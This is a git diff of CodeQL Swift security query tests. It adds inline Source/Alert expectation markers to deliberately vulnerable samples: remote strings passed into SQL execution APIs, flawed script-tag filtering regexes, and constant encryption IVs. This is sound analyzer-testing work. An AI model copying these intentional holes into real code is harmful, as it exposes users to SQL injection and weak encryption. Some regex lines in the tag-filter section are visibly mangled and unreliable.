"http://example.com/")!) // $ Source - row.fetchCursor(stmt, sql: remoteString) // BAD - row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchCursor(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchCursor(stmt, sql: remoteString) // BAD // $ Alert + row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + row.fetchCursor(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert row.fetchCursor(stmt, sql: localString) // GOOD row.fetchCursor(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchCursor(stmt, sql: localString, adapter: nil) // GOOD row.fetchCursor(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - row.fetchAll(stmt, sql: remoteString) // BAD - row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchAll(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchAll(stmt, sql: remoteString) // BAD // $ Alert + row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + row.fetchAll(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert row.fetchAll(stmt, sql: localString) // GOOD row.fetchAll(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchAll(stmt, sql: localString, adapter: nil) // GOOD row.fetchAll(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - row.fetchOne(stmt, sql: remoteString) // BAD - row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchOne(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchOne(stmt, sql: remoteString) // BAD // $ Alert + row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + row.fetchOne(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert row.fetchOne(stmt, sql: localString) // GOOD row.fetchOne(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchOne(stmt, sql: localString, adapter: nil) // GOOD row.fetchOne(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - row.fetchSet(stmt, sql: remoteString) // BAD - row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchSet(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchSet(stmt, sql: remoteString) // BAD // $ Alert + row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + row.fetchSet(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert row.fetchSet(stmt, sql: localString) // GOOD row.fetchSet(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchSet(stmt, sql: localString, adapter: nil) // GOOD @@ -288,39 +288,39 @@ func test(row: Row, stmt: Statement) throws { func test(databaseValueConvertible: DatabaseValueConvertible, stmt: Statement) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - databaseValueConvertible.fetchCursor(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchCursor(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + databaseValueConvertible.fetchCursor(stmt, sql: remoteString) // BAD // $ Alert + databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + databaseValueConvertible.fetchCursor(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert databaseValueConvertible.fetchCursor(stmt, sql: localString) // GOOD databaseValueConvertible.fetchCursor(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchCursor(stmt, sql: localString, adapter: nil) // GOOD databaseValueConvertible.fetchCursor(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - databaseValueConvertible.fetchAll(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchAll(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + databaseValueConvertible.fetchAll(stmt, sql: remoteString) // BAD // $ Alert + databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + databaseValueConvertible.fetchAll(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert databaseValueConvertible.fetchAll(stmt, sql: localString) // GOOD databaseValueConvertible.fetchAll(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchAll(stmt, sql: localString, adapter: nil) // GOOD databaseValueConvertible.fetchAll(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - databaseValueConvertible.fetchOne(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchOne(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + databaseValueConvertible.fetchOne(stmt, sql: remoteString) // BAD // $ Alert + databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + databaseValueConvertible.fetchOne(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert databaseValueConvertible.fetchOne(stmt, sql: localString) // GOOD databaseValueConvertible.fetchOne(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchOne(stmt, sql: localString, adapter: nil) // GOOD databaseValueConvertible.fetchOne(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - databaseValueConvertible.fetchSet(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchSet(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + databaseValueConvertible.fetchSet(stmt, sql: remoteString) // BAD // $ Alert + databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + databaseValueConvertible.fetchSet(stmt, sql: remoteString, adapter: nil) // BAD // $ Alert + databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD // $ Alert databaseValueConvertible.fetchSet(stmt, sql: localString) // GOOD databaseValueConvertible.fetchSet(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchSet(stmt, sql: localString, adapter: nil) // GOOD @@ -329,26 +329,26 @@ func test(databaseValueConvertible: DatabaseValueConvertible, stmt: Statement) t func testSqlStatementCursor(database: Database) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments()) // BAD - let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments(), prepFlags: 0) // BAD + let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments(), prepFlags: 0) // BAD // $ Alert let _ = SQLStatementCursor(database: database, sql: localString, arguments: StatementArguments()) // GOOD let _ = SQLStatementCursor(database: database, sql: localString, arguments: StatementArguments(), prepFlags: 0) // GOOD } func testCommonTableExpression() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) - - let _ = CommonTableExpression(named: "", sql: remoteString) // BAD - let _ = CommonTableExpression(named: "", sql: remoteString, arguments: StatementArguments()) // BAD - let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString) // BAD - let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // BAD - let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString) // BAD - let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString) // BAD - let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString, arguments: StatementArguments()) // BAD - let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // BAD + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source + + let _ = CommonTableExpression(named: "", sql: remoteString) // BAD // $ Alert + let _ = CommonTableExpression(named: "", sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString) // BAD // $ Alert + let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString) // BAD // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString) // BAD // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // BAD // $ Alert let _ = CommonTableExpression(named: "", sql: localString) // GOOD let _ = CommonTableExpression(named: "", sql: localString, arguments: StatementArguments()) // GOOD let _ = CommonTableExpression(named: "", columns: [""], sql: localString) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift b/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift index f9a6b41340ce..034e980ae217 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift @@ -59,7 +59,7 @@ class Connection { func test_sqlite_swift_api(db: Connection) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source let remoteNumber = Int(remoteString) ?? 0 let unsafeQuery1 = remoteString @@ -70,9 +70,9 @@ func test_sqlite_swift_api(db: Connection) throws { // --- execute --- - try db.execute(unsafeQuery1) // BAD - try db.execute(unsafeQuery2) // BAD - try db.execute(unsafeQuery3) // BAD + try db.execute(unsafeQuery1) // BAD // $ Alert + try db.execute(unsafeQuery2) // BAD // $ Alert + try db.execute(unsafeQuery3) // BAD // $ Alert try db.execute(safeQuery1) // GOOD try db.execute(safeQuery2) // GOOD @@ -80,7 +80,7 @@ func test_sqlite_swift_api(db: Connection) throws { let varQuery = "SELECT * FROM users WHERE username=?" - let stmt1 = try db.prepare(unsafeQuery3) // BAD + let stmt1 = try db.prepare(unsafeQuery3) // BAD // $ Alert try stmt1.run() let stmt2 = try db.prepare(varQuery, localString) // GOOD @@ -92,31 +92,31 @@ func test_sqlite_swift_api(db: Connection) throws { let stmt4 = try Statement(db, localString) // GOOD try stmt4.run() - let stmt5 = try Statement(db, remoteString) // BAD + let stmt5 = try Statement(db, remoteString) // BAD // $ Alert try stmt5.run() // --- more variants --- - let stmt6 = try db.prepare(unsafeQuery1, "") // BAD + let stmt6 = try db.prepare(unsafeQuery1, "") // BAD // $ Alert try stmt6.run() - let stmt7 = try db.prepare(unsafeQuery1, [""]) // BAD + let stmt7 = try db.prepare(unsafeQuery1, [""]) // BAD // $ Alert try stmt7.run() - let stmt8 = try db.prepare(unsafeQuery1, ["username": ""]) // BAD + let stmt8 = try db.prepare(unsafeQuery1, ["username": ""]) // BAD // $ Alert try stmt8.run() - try db.run(unsafeQuery1, "") // BAD + try db.run(unsafeQuery1, "") // BAD // $ Alert - try db.run(unsafeQuery1, [""]) // BAD + try db.run(unsafeQuery1, [""]) // BAD // $ Alert - try db.run(unsafeQuery1, ["username": ""]) // BAD + try db.run(unsafeQuery1, ["username": ""]) // BAD // $ Alert - try db.scalar(unsafeQuery1, "") // BAD + try db.scalar(unsafeQuery1, "") // BAD // $ Alert - try db.scalar(unsafeQuery1, [""]) // BAD + try db.scalar(unsafeQuery1, [""]) // BAD // $ Alert - try db.scalar(unsafeQuery1, ["username": ""]) // BAD + try db.scalar(unsafeQuery1, ["username": ""]) // BAD // $ Alert let stmt9 = try db.prepare(varQuery) // GOOD try stmt9.bind(remoteString) // GOOD @@ -129,5 +129,5 @@ func test_sqlite_swift_api(db: Connection) throws { try stmt9.scalar([remoteString]) // GOOD try stmt9.scalar(["username": remoteString]) // GOOD - try Statement(db, remoteString).run() // BAD + try Statement(db, remoteString).run() // BAD // $ Alert } diff --git a/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref b/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref index eaf19a94546e..654631d8a094 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref +++ b/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref @@ -1 +1,2 @@ -queries/Security/CWE-089/SqlInjection.ql \ No newline at end of file +query: queries/Security/CWE-089/SqlInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-089/other.swift b/swift/ql/test/query-tests/Security/CWE-089/other.swift index 52cafbb15456..76edd815e14d 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/other.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/other.swift @@ -43,18 +43,18 @@ class MyDatabase { // --- tests --- func test_heuristic(db: MyDatabase) throws { - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source _ = MyDatabase() // GOOD _ = MyDatabase(sql: "some_fixed_sql") // GOOD - _ = MyDatabase(sql: remoteString) // BAD + _ = MyDatabase(sql: remoteString) // BAD // $ Alert - db.execute1(remoteString) // BAD - db.execute2(remoteString) // BAD - db.execute3(NSString(string: remoteString)) // BAD - db.execute4(remoteString as! Sql) // BAD + db.execute1(remoteString) // BAD // $ Alert + db.execute2(remoteString) // BAD // $ Alert + db.execute3(NSString(string: remoteString)) // BAD // $ Alert + db.execute4(remoteString as! Sql) // BAD // $ Alert - db.query(sql: remoteString) // BAD + db.query(sql: remoteString) // BAD // $ Alert db.query(sqlLiteral: remoteString) // BAD [NOT DETECTED] db.query(sqlStatement: remoteString) // BAD [NOT DETECTED] db.query(sqliteStatement: remoteString) // BAD [NOT DETECTED] diff --git a/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift b/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift index 8498d89d68da..b0e53f15567a 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift @@ -119,7 +119,7 @@ func sqlite3_finalize( func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) { let localString = "user" - let remoteString = try! String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try! String(contentsOf: URL(string: "http://example.com/")!) // $ Source let remoteNumber = Int(remoteString) ?? 0 let unsafeQuery1 = remoteString @@ -130,9 +130,9 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) // --- exec --- - let result1 = sqlite3_exec(db, unsafeQuery1, nil, nil, nil) // BAD - let result2 = sqlite3_exec(db, unsafeQuery2, nil, nil, nil) // BAD - let result3 = sqlite3_exec(db, unsafeQuery3, nil, nil, nil) // BAD + let result1 = sqlite3_exec(db, unsafeQuery1, nil, nil, nil) // BAD // $ Alert + let result2 = sqlite3_exec(db, unsafeQuery2, nil, nil, nil) // BAD // $ Alert + let result3 = sqlite3_exec(db, unsafeQuery3, nil, nil, nil) // BAD // $ Alert let result4 = sqlite3_exec(db, safeQuery1, nil, nil, nil) // GOOD let result5 = sqlite3_exec(db, safeQuery2, nil, nil, nil) // GOOD @@ -142,7 +142,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt1: OpaquePointer? - if (sqlite3_prepare(db, unsafeQuery3, -1, &stmt1, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare(db, unsafeQuery3, -1, &stmt1, nil) == SQLITE_OK) { // BAD // $ Alert let result = sqlite3_step(stmt1) // ... } @@ -172,7 +172,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt4: OpaquePointer? - if (sqlite3_prepare_v2(db, unsafeQuery3, -1, &stmt4, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare_v2(db, unsafeQuery3, -1, &stmt4, nil) == SQLITE_OK) { // BAD // $ Alert let result = sqlite3_step(stmt4) // ... } @@ -180,7 +180,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt5: OpaquePointer? - if (sqlite3_prepare_v3(db, unsafeQuery3, -1, 0, &stmt5, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare_v3(db, unsafeQuery3, -1, 0, &stmt5, nil) == SQLITE_OK) { // BAD // $ Alert let result = sqlite3_step(stmt5) // ... } @@ -191,7 +191,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt6: OpaquePointer? - if (sqlite3_prepare16(db, buffer, Int32(data.count), &stmt6, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare16(db, buffer, Int32(data.count), &stmt6, nil) == SQLITE_OK) { // BAD // $ Alert let result = sqlite3_step(stmt6) // ... } @@ -199,7 +199,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt7: OpaquePointer? - if (sqlite3_prepare16_v2(db, buffer, Int32(data.count), &stmt7, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare16_v2(db, buffer, Int32(data.count), &stmt7, nil) == SQLITE_OK) { // BAD // $ Alert let result = sqlite3_step(stmt7) // ... } @@ -207,7 +207,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt8: OpaquePointer? - if (sqlite3_prepare16_v3(db, buffer, Int32(data.count), 0, &stmt8, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare16_v3(db, buffer, Int32(data.count), 0, &stmt8, nil) == SQLITE_OK) { // BAD // $ Alert let result = sqlite3_step(stmt8) // ... } diff --git a/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref b/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref index 8186dfa236f1..67e973ba99e6 100644 --- a/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref +++ b/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref @@ -1 +1,2 @@ -queries/Security/CWE-116/BadTagFilter.ql \ No newline at end of file +query: queries/Security/CWE-116/BadTagFilter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-116/test.swift b/swift/ql/test/query-tests/Security/CWE-116/test.swift index e2e88135dd6f..be6cbc0dcdd2 100644 --- a/swift/ql/test/query-tests/Security/CWE-116/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-116/test.swift @@ -76,18 +76,18 @@ func myRegexpVariantsTests(myUrl: URL) throws { let tainted = String(contentsOf: myUrl) // tainted // BAD - doesn't match newlines or `` - let re1 = try Regex(#".*?<\/script>"#).ignoresCase(true) + let re1 = try Regex(#".*?<\/script>"#).ignoresCase(true) // $ Alert _ = try re1.firstMatch(in: tainted) // BAD - doesn't match `` - let re2a = try Regex(#"(?is).*?<\/script>"#) + let re2a = try Regex(#"(?is).*?<\/script>"#) // $ Alert _ = try re2a.firstMatch(in: tainted) // BAD - doesn't match `` - let re2b = try Regex(#".*?<\/script>"#).ignoresCase(true).dotMatchesNewlines(true) + let re2b = try Regex(#".*?<\/script>"#).ignoresCase(true).dotMatchesNewlines(true) // $ Alert _ = try re2b.firstMatch(in: tainted) // BAD - doesn't match `` let options2c: NSRegularExpression.Options = [.caseInsensitive, .dotMatchesLineSeparators] - let ns2c = try NSRegularExpression(pattern: #".*?<\/script>"#, options: options2c) + let ns2c = try NSRegularExpression(pattern: #".*?<\/script>"#, options: options2c) // $ Alert _ = ns2c.firstMatch(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // GOOD @@ -110,71 +110,71 @@ func myRegexpVariantsTests(myUrl: URL) throws { _ = try re5.firstMatch(in: tainted) // BAD, does not match newlines - let re6 = try Regex(#")|([^\/\s>]+)[\S\s]*?>"#) + let re16 = try Regex(#"<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>"#) // $ Alert _ = try re16.firstMatch(in: tainted) // BAD - doesn't match comments with the right capture groups - let ns16 = try NSRegularExpression(pattern: #"<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>"#) + let ns16 = try NSRegularExpression(pattern: #"<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>"#) // $ Alert _ = ns16.firstMatch(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let re17 = try Regex(#"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#) + let re17 = try Regex(#"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#) // $ Alert _ = try re17.firstMatch(in: tainted) // BAD - capture groups - let ns17 = try NSRegularExpression(pattern: #"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#, options: .caseInsensitive) + let ns17 = try NSRegularExpression(pattern: #"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#, options: .caseInsensitive) // $ Alert _ = ns17.firstMatch(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - too strict matching on the end tag - let ns2_1 = try NSRegularExpression(pattern: #"]*>([\s\S]*?)<\/script>"#, options: .caseInsensitive) + let ns2_1 = try NSRegularExpression(pattern: #"]*>([\s\S]*?)<\/script>"#, options: .caseInsensitive) // $ Alert _ = ns2_1.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let ns2_2 = try NSRegularExpression(pattern: #"(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|)"#, options: .caseInsensitive) + let ns2_2 = try NSRegularExpression(pattern: #"(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|)"#, options: .caseInsensitive) // $ Alert _ = ns2_2.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let ns2_3 = try NSRegularExpression(pattern: #"<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))"#) + let ns2_3 = try NSRegularExpression(pattern: #"<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))"#) // $ Alert _ = ns2_3.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let ns2_4 = try NSRegularExpression(pattern: #"|<([^>]*?)>"#) + let ns2_4 = try NSRegularExpression(pattern: #"|<([^>]*?)>"#) // $ Alert _ = ns2_4.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // GOOD - it's used with the ignorecase flag @@ -222,7 +222,7 @@ func myRegexpVariantsTests(myUrl: URL) throws { _ = ns2_5.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - doesn't match --!> - let ns2_6 = try NSRegularExpression(pattern: #"-->"#) + let ns2_6 = try NSRegularExpression(pattern: #"-->"#) // $ Alert _ = ns2_6.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref b/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref index 36f922580f70..6106d4b12ad9 100644 --- a/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref +++ b/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref @@ -1 +1,2 @@ -queries/Security/CWE-1204/StaticInitializationVector.ql +query: queries/Security/CWE-1204/StaticInitializationVector.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift b/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift index 253804cabf15..ea16f7e28234 100644 --- a/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift +++ b/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift @@ -57,28 +57,28 @@ func test(myPassword: String) { let myKeyDerivationSettings = RNCryptorKeyDerivationSettings() let myHandler = {} let myRandomIV = Data(getRandomArray()) - let myConstIV1 = Data(0) - let myConstIV2 = Data(123) - let myConstIV3 = Data([1,2,3,4,5]) - let myConstIV4 = Data("iv") + let myConstIV1 = Data(0) // $ Source + let myConstIV2 = Data(123) // $ Source + let myConstIV3 = Data([1,2,3,4,5]) // $ Source + let myConstIV4 = Data("iv") // $ Source let mySalt = Data(0) let mySalt2 = Data(0) let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myRandomIV, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1, handler: myHandler) // BAD // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myRandomIV, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2, handler: myHandler) // BAD // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myRandomIV, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // BAD // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myRandomIV, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // BAD // $ Alert let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myRandomIV) // GOOD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1) // BAD + let _ = try? myEncryptor.encryptData(myData, with: 